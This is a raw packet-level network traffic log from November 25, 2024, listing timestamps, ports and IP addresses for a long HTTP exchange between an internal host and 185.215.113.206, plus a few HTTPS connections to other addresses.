Nov 25, 2024 07:53:50.437588930 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.437635899 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.438272953 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.438380957 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.438390017 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.438433886 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.439100027 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.439161062 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.439187050 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.439237118 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.440020084 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.440032005 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.440085888 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.440740108 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.440823078 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.440888882 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.441534996 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.441615105 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.441643000 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.441734076 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.442331076 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.442384005 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.442459106 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.442502975 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.443154097 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.443236113 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.443286896 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.443371058 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.443964005 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.444027901 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.444075108 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.444168091 CET	443	49896	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.444209099 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.444785118 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.444798946 CET	49896	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.444819927 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.444839954 CET	443	49896	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.444880962 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.445633888 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.445650101 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.445663929 CET	49896	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.445687056 CET	443	49896	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.445693970 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.445719957 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.446409941 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.446470976 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.446511984 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.446666002 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.447225094 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.447290897 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.447324991 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.447436094 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.448035955 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.448084116 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.448142052 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.448899984 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.448920012 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.448998928 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.448998928 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.461746931 CET	49900	443	192.168.2.6	23.209.72.30
Nov 25, 2024 07:53:50.502278090 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.502346039 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.502365112 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.502393007 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.502691984 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.502768040 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.502857924 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.502906084 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.503493071 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.503551006 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.503583908 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.503659010 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.504280090 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.504336119 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.504376888 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.504460096 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.505096912 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.505155087 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.505193949 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.505249977 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.505925894 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.505976915 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.506023884 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.506109953 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.506804943 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.506845951 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.506866932 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.506932974 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.550271988 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.550334930 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.550407887 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.550465107 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.550694942 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.550750971 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.550818920 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.550967932 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.551492929 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.551532030 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.551582098 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.551660061 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.552282095 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.552362919 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.552373886 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.552577972 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.553107023 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.553230047 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.553244114 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.553293943 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.553914070 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.554009914 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.554039001 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.554107904 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.554723978 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.554786921 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.554796934 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.554842949 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.555560112 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.555653095 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.555721998 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.556374073 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.556452036 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.556469917 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.556601048 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.557157040 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.557240009 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.557274103 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.557343006 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.558015108 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.558073044 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.558114052 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.558162928 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.558810949 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.558865070 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.558892965 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.559096098 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.559598923 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.559653997 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.559684992 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.559807062 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.560415030 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.560440063 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.560473919 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.560487986 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.561244011 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.561337948 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.561392069 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.562045097 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.562098980 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.562139034 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.562189102 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.562846899 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.562920094 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.562932014 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.563136101 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.598361015 CET	49908	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.598411083 CET	443	49908	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.598464966 CET	49908	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.598705053 CET	49909	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.598766088 CET	443	49909	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.598967075 CET	49910	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.598980904 CET	443	49910	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.599001884 CET	49909	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.599036932 CET	49910	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.599261045 CET	49911	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.599278927 CET	443	49911	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.599339962 CET	49911	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.599709034 CET	49912	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.599741936 CET	443	49912	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.599934101 CET	49908	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.599951029 CET	443	49908	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.599980116 CET	49912	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.600137949 CET	49910	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.600151062 CET	443	49910	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.600255013 CET	49909	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.600289106 CET	443	49909	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.600349903 CET	49911	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.600367069 CET	443	49911	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.600481033 CET	49912	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.600497961 CET	443	49912	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.627172947 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.627244949 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.627254963 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.627326012 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.627592087 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.627662897 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.627697945 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.627758026 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.628407955 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.628542900 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.628576994 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.628654003 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.629169941 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.629231930 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.629473925 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.629621029 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.629776001 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.629827976 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.630289078 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.630337000 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.630456924 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.630505085 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.631097078 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.631145954 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.631148100 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.631249905 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.632335901 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.632349968 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.632394075 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.632688046 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.632837057 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.632903099 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.633512974 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.633618116 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.633680105 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.634361982 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.634382010 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.634414911 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.634435892 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.635140896 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.635153055 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.635200024 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.635950089 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.636004925 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.636065960 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.636118889 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.636801004 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.636816025 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.636854887 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.636873007 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.637586117 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.637643099 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.637712002 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.637762070 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.638410091 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.638474941 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.638509035 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.638597965 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.639216900 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.639295101 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.639343023 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.639398098 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.640043974 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.640095949 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.640100956 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.640182972 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.640866041 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.640952110 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.640971899 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.641079903 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.641633987 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.641686916 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.641760111 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.641823053 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.642486095 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.642574072 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.642585993 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.642643929 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.643280983 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.643362999 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.643475056 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.644062996 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.644125938 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.644128084 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.644249916 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.644891024 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.644965887 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.644975901 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.645036936 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.645737886 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.645745039 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.645809889 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.646509886 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.646564960 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.646656990 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.646708012 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.647470951 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.647484064 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.647524118 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.648169041 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.648216963 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.648225069 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.648288012 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.648972988 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.648994923 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.649029016 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.649041891 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.649777889 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.649857044 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.649946928 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.650567055 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.650577068 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.650660038 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.703402996 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.703473091 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.703511953 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.703695059 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.703782082 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.703841925 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.703944921 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.703998089 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.704046965 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.704096079 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.704819918 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.704874992 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.704881907 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.705029011 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.705594063 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.705650091 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.705689907 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.705765963 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.706398010 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.706516981 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.706518888 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.706600904 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.707216024 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.707415104 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.707446098 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.707537889 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.708029032 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.708107948 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.708491087 CET	443	49901	204.79.197.239	192.168.2.6
Nov 25, 2024 07:53:50.708776951 CET	49901	443	192.168.2.6	204.79.197.239
Nov 25, 2024 07:53:50.708785057 CET	443	49901	204.79.197.239	192.168.2.6
Nov 25, 2024 07:53:50.709908009 CET	443	49901	204.79.197.239	192.168.2.6
Nov 25, 2024 07:53:50.709969044 CET	49901	443	192.168.2.6	204.79.197.239
Nov 25, 2024 07:53:50.710383892 CET	49901	443	192.168.2.6	204.79.197.239
Nov 25, 2024 07:53:50.710454941 CET	443	49901	204.79.197.239	192.168.2.6
Nov 25, 2024 07:53:50.710555077 CET	49901	443	192.168.2.6	204.79.197.239
Nov 25, 2024 07:53:50.751513958 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.751575947 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.751614094 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.751773119 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.751926899 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.751990080 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.752032042 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.752160072 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.752736092 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.752788067 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.752793074 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.752983093 CET	49825	80	192.168.2.6	185.215.113.206
